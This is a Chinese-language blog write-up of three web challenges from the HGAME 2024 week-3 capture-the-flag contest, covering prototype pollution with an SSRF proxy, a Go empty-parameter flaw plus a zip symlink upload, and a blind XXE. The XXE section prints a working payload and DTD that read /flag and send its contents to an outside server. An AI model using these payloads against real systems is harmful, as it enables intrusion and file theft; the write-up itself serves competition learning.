【web】HGAME2024_week3

230次阅读
没有评论

hgame2024_week3

Web

WebVPN

题目给出了 js 源码,开始分析。
分析源码的过程中,发现了 update 函数,考虑是否存在原型链污染。

function update(dst, src) {for (key in src) {if (key.indexOf("__") != -1) {continue;}
    if (typeof src[key] == "object" && dst[key] !== undefined) {update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

而后发现了 /user/info 路由,需要我们进行 post 传参, 同时在这里调用 update 函数,也正是原型链污染的漏洞之处。

app.post("/user/info", (req, res) => {if (!req.session.username) {res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

紧接着,继续阅读代码,发现了 /flag 路由,其中对我们的请求体各个方面做了限制,相当于从本地访问路由了。

app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

于是思考如何才能绕过限制,分析代码,发现了 /proxy 路由,此处也是整道题最为重要的部分,需要理清中间的代码逻辑。

app.use("/proxy", async (req, res) => {const { username} = req.session;
  if (!username) {res.sendStatus(403);
  }

  let url = (() => {
    try {return new URL(req.query.url);
    } catch {res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {res.status(400);
    res.end("your url is not allowed.");
  }

  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);
      if (key.trim() !== session_name) {filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;
    });
    const remote_res = await (() => {if (req.method == "POST") {
        return axios.post(url, req.body, {headers: headers,});
      } else if (req.method == "GET") {
        return axios.get(url, {headers: headers,});
      } else {res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {res.status(500);
    res.end("unreachable url.");
  }
});

分析整个 /proxy 路由可以发现,需要我们传入的 session 正确,做题的时候发现,其实我们根本不需要对 session 对任何修改,因为题目默认就是 username。然后,将从请求头中获得到的 url 作为参数新建一个 URL 对象。同时判断,userStorage对象中是否存在此 url。然后,构造 headers,host,cookie 等作为请求头采用 get 或 post 方式访问 url。

因此我们的方法是,通过 /proxy 构造的 url 对象访问 /flag 路由获得 flag。
因此所需要访问的 url 为 /proxy?url=http://127.0.0.1:3000/flag 才能达到从本地访问 /flag 的效果。

那么在代码中写道,url 必须在 userStroage 对象中存在才可以,我们怎么办到呢?
自然是通过原型链污染。代码中将我们输入的对象与 userStroage 里的内容作为参数,放到 update 里进行更新,我们输入的对象是可控的。因此只需要让 Object 类存在此 url 即可。
代码为
"a": 1, "constructor":{"prototype":{"127.0.0.1":true}}
这样便可以成功污染,当在 userStorage 中寻找此 url 时,由于寻找不到,就会寻找原生类中是否存在此 url,而原生类又被我们成功污染,因此便可以找到。

因此,总的做题流程为,在 /user/info 处进行原型链污染
此处需要注意一点,源代码中 ban 了 __ 因此无法用 __proto__,所以我们可以用constructor.prototype 来绕过
【web】HGAME2024_week3
然后,刷新 /home 界面,并访问 url。且抓包修改我们所需要的 url。
【web】HGAME2024_week3
【web】HGAME2024_week3

Zero Link

题目给出了源码
审计 go 语言代码过后,发现存在多个 api,而我们可以通过 /api/user 查询用户密码。
但仔细审计就会发现,存在一个逻辑漏洞,就是题目只判断了传入的 username 是否为 Admin 或者判断传入的 Token 是否为 0000,但是并没有判断是否为空。
【web】HGAME2024_week3
根据一篇文章过后,发现默认的变量为空,进行查询过后会默认查询第一条数据。
Go 语言特性引发的安全问题的思考

也就是说只要我我们传入的值为空,就会默认显示数据库第一条数据,而查看第一条数据后发现,就是 Admin 的密码
【web】HGAME2024_week3
查询获得密码
【web】HGAME2024_week3

登录后是一个文件上传的界面, 然后审计源码后发现,题目限制了上传类型为 zip 且存在 unzip 路由,能够解压压缩包
此时自然就能想到软链接打 unzip。具体详细解释可看下面这位师傅的博客
【CISCN2023】unzip 详解
解压过后,源码发现存在路由 /api/secret 可以进行读文件,而原来的 secret 内容为 /fake_flag。所以我们只需要把内容修改为/flag 然后利用上传覆盖掉原来的 secret 即可
【web】HGAME2024_week3
然后上传两个压缩包。先上传软链接,再上传含木马的压缩包。
【web】HGAME2024_week3
访问 /api/unzip 解压压缩包
【web】HGAME2024_week3
访问 /api/secret 获得 flag
【web】HGAME2024_week3

VidarBox

参考师傅的博客HGAME2024-WEB WP
题目给出了源码
核心代码如下

@GetMapping({"/backdoor"})
    @ResponseBody
    public String hack(@RequestParam String fname) throws IOException, SAXException {DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
        if (content != null && this.safeCheck(content)) {XMLReader reader = XMLReaderFactory.createXMLReader();
            reader.parse(new InputSource(new ByteArrayInputStream(content)));
            return "success";
        } else {return "error";}
    }

    private boolean safeCheck(byte[] stream) throws IOException {String content = new String(stream);
        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
                !content.contains("doctype") && !content.contains("entity");
    }

很明显是一个无回显的 xxe,而且还过滤掉了一些关键词。
那么首先我们需要准备一个 xml 文件

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://43.138.81.44/1.dtd">
%remote;%int;%send;
]>

然后绕过可以用编码绕过
iconv -f utf8 -t utf16 1.xml>2.xml
紧接着就是需要一个 dtd 文件来读取 flag

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://43.138.81.44/1.txt?p=%file;'>">

两个文件全部放到 vps 上. 然后需要注意的是 vps 上需要启动 ftp 服务,因为需要用 file 去读文件
所以还要创建一个账户anonymous:Java17.0.1@
将 2.xml 放在目录下,用靶机连接即可
/backdoor?fname=../../xx.xx.xxx.xx:21/2.xml%23

还有一个方法,用条件竞争,参考晨曦师傅hgame2024_week3 WP

正文完
 1
haxo
版权声明:本站原创文章,由 haxo 2024-02-25发表,共计4159字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)